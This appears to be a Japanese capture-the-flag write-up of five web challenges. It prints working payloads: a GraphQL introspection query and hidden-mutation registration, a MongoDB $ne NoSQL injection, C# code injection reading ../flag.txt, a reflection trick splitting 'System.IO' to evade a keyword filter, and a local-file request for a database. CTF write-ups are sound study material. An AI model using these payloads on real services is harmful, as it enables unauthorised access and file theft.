- [web] FlagCoin Stage 1
- [web] FlagCoin Stage 2
- [web] RCE as a Service (Stage 1)
- [web] RCE as a Service (Stage 2)
- [web] Glacier Top News 解けてない
[web] FlagCoin Stage 1
適当に動かして履歴を見てみるとPOST /graphql
というのが見える。
mutationでloginというのが使われていた。
使えるmutationを列挙してみる。
{ __schema { mutationType { fields { name type { name kind } } } } }
{"data":{"__schema":{"mutationType":{"fields":[{"name":"login","type":{"name":"User","kind":"OBJECT"}},{"name":"register_beta_user","type":{"name":"User","kind":"OBJECT"}},{"name":"redeem","type":{"name":"Voucher","kind":"OBJECT"}}]}}}}
履歴に残っているlogin以外にregister_beta_userというのもありそう。引数はlogin時と同じなので同じ要領で使ってみる
{"query":"\n mutation($username: String!, $password: String!) { \n register_beta_user(username: $username, password: $password) { \n username \n } \n }\n ","variables":{"username":"jgksadjfiawefasefdsd","password":"3489egjfdbjfdsgkdskl"}}
こんな感じにやるとユーザー登録できるので後はログインするとフラグが書いてある。
[web] FlagCoin Stage 2
同じサイトだが、ソースコードが追加で与えられる。
有効なバウチャーコードが入力できればフラグが得られる。
バウチャーコードを入力すると以下のような感じにリクエストが飛ぶ。
{"query":"\n mutation($voucher: JSON!) { \n redeem(voucher: $voucher) { \n coins\n message\n } \n }\n ","variables":{"voucher":{"code":""}}}
backendでmongodbが使われてるのでNoSQL Injectionを狙って$neを使ったいつものやつをやってみるとフラグが出てきた。
{"query":"\n mutation($voucher: JSON!) { \n redeem(voucher: $voucher) { \n coins\n message\n } \n }\n ","variables":{"voucher":{"code":{"$ne":"abc"}}}}
[web] RCE as a Service (Stage 1)
System.IO.File.ReadAllText(\"../flag.txt\")が差し込めればいい。
配列に対して何かしらの操作が行えるようである。
色々やっていると以下でフラグが得られた。
{ "Data": [""], "Query": "(data) => data.Select(d => d + System.IO.File.ReadAllText(\"../flag.txt\"))" }
[web] RCE as a Service (Stage 2)
System.IOという文字列が禁止されている。
何とかする必要がありそうだが、Reflectionをうまく使えば行けそう。
試行錯誤すると以下でフラグが得られる。
System.Text.Encoding.ASCII.GetString((System.Byte[])Type.GetType(\"System.I\"+\"O.File\").GetMethod(\"ReadAllBytes\", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public).Invoke(null, new object[] { \"../flag.txt\" }))
以下あたりを参考にしながら解いた。
- C#リフレクションTIPS 55連発 - Qiita
- 【C#】AmbiguousMatchException: Ambiguous match found. - コガネブログ
- File クラス (System.IO) | Microsoft Learn
[web] Glacier Top News 解けてない
ソースコードが与えられている。
環境変数にフラグが入っているが、どこかで使われはいない。
コードを読み進めるとapi.pyにてget_system_infoメソッドで環境変数を返している処理が見つかる。
呼び出し元を見るとPOST /api/system_info
でその内容が取得できる。
だが、jwtでの認証を通す必要があり、ここが課題点となりそう。
require_jwtメソッドで検証しているので確認しよう。
cookieのtokenにjwtを入れておけば検証してくれる。
普通の検証はしておらず、DBに入っているトークンと文字列比較して一致するか判定している。
jwtに対する攻撃法は適用できなさそう。
…となると、DBの内容が取得できないかという話になる。
Databaseクラスは機能が少なすぎて、何もできなさそうなので、"/tmp/glacier.db"の取得を狙う。
POST /api/get_resource
が怪しいが…
ここからずっと違う所見てました…
課題 36276: [CVE-2019-9740] Python urllib CRLF injection vulnerability - Python tracker
ずっとこれだと思って検証してましたが…全然関係ない…
discordで解法見ると{"url":"/tmp/glacier.db"}
とするとdbが得られる。
うーん。